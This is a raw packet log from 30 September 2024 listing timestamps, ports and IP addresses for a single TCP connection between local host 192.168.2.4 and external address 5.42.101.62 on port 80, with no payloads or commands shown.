Sep 30, 2024 12:22:27.622824907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.622837067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.622839928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.622859001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.622869968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.622879028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.622894049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.622910023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.622914076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.622924089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.622935057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.622956038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.623214006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.623234034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.623250008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.623260975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.623290062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.623313904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.623328924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.623348951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.623361111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.623370886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.623377085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.623395920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.623410940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.627063036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.627078056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.627090931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.627113104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.627130032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.627132893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.627146006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.627163887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.627165079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.627178907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.627192974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.627197027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.627211094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.627232075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.627244949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.633339882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.633354902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.633369923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.633388996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.633400917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.633404970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.633419037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.633434057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.633435965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.633449078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.633459091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.633476973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.633491993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.641222954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.641241074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.641257048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.641273022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.641273022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.641287088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.641289949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.641315937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.641330957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.641338110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.641346931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.641362906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.641366005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.641383886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.641400099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.644757986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.644784927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.644798994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.644805908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.644819975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.644824028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.644834042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.644839048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.644857883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.644872904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.644934893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.644949913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.644964933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.644968987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.644987106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.644980907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.645000935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.645004988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.645015955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.645032883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.645036936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.645076036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.645514965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.645555973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.645570993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.645585060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.645600080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.645606041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.645622015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.645637989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.648587942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.648648024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.648660898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.648674011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.648684025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.648684978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.648699999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.648700953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.648715973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.648716927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.648732901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.648737907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.648750067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.648751974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.648765087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.648772001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.648788929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.648807049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.671962976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.671996117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.672008991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.672049046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.672065973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.672069073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.672080994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.672095060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.672105074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.672110081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.672131062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.672154903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.672209024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.672223091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.672243118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.672243118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.672257900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.672283888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.672301054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.672303915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.672313929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.672322035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.672338963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.672355890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.672813892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.672858953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.672887087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.672921896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.678890944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.678905964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.678922892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.678944111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.678960085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.678988934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.679029942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.679033995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.679052114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.679075956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.679100037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.679219961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.679236889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.679264069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.679280996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.679286003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.679301977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.679325104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.679326057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.679353952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.679361105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.679661989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.679676056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.679713011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.695332050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.695420027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.695437908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.695458889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.695492983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.695492983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.695518970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.695529938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.695540905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.695564032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.695575953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.695609093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.695626020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.695677996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.695678949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.695710897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.695730925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.695746899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.695756912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.695780993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.695801020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.695812941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.695825100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.695847034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.695863962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.695885897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.695904970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.695921898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.705543995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.705598116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.705602884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.705631971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.705641985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.705667973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.705687046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.705737114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.705739975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.705774069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.705785036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.705809116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.705816031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.705857038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.705878019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.705913067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.705923080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.705946922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.705960035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.705990076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.705996990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.706029892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.706043005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.706070900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.706082106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.706118107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.706126928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.706161022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.709733009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.709790945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.709851980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.709882975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.709903955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.709918022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.709920883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.709963083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.709970951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.710005045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.710015059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.710040092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.710047960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.710073948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.710083008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.710108995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.710117102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.710144043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.710151911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.710184097 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.710432053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.710465908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.710489035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.710509062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.710520983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.710552931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.710562944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.710587025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.710597038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.710632086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.714056969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.714092016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.714114904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.714138985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.714145899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.714193106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.714198112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.714232922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.714237928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.714265108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.714273930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.714301109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.714308977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.714330912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.714345932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.714378119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.720208883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.720244884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.720271111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.720292091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.720299959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.720343113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.720351934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.720386982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.720396042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.720422983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.720433950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.720458031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.720460892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.720494986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.720505953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.720539093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.728310108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.728368998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.728384972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.728414059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.728423119 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.728456020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.728472948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.728488922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.728498936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.728537083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.728538990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.728578091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.728585005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.728606939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.728622913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.728652954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.731941938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732002020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732024908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732054949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732055902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732089043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732099056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732122898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732139111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732153893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732167959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732192993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732201099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732242107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732249022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732278109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732295990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732314110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732326031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732342958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732358932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732383966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732415915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732460022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732484102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732518911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732530117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732552052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732563019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732587099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732595921 CEST	52534	80	192.168.2.4	5.42.101.62
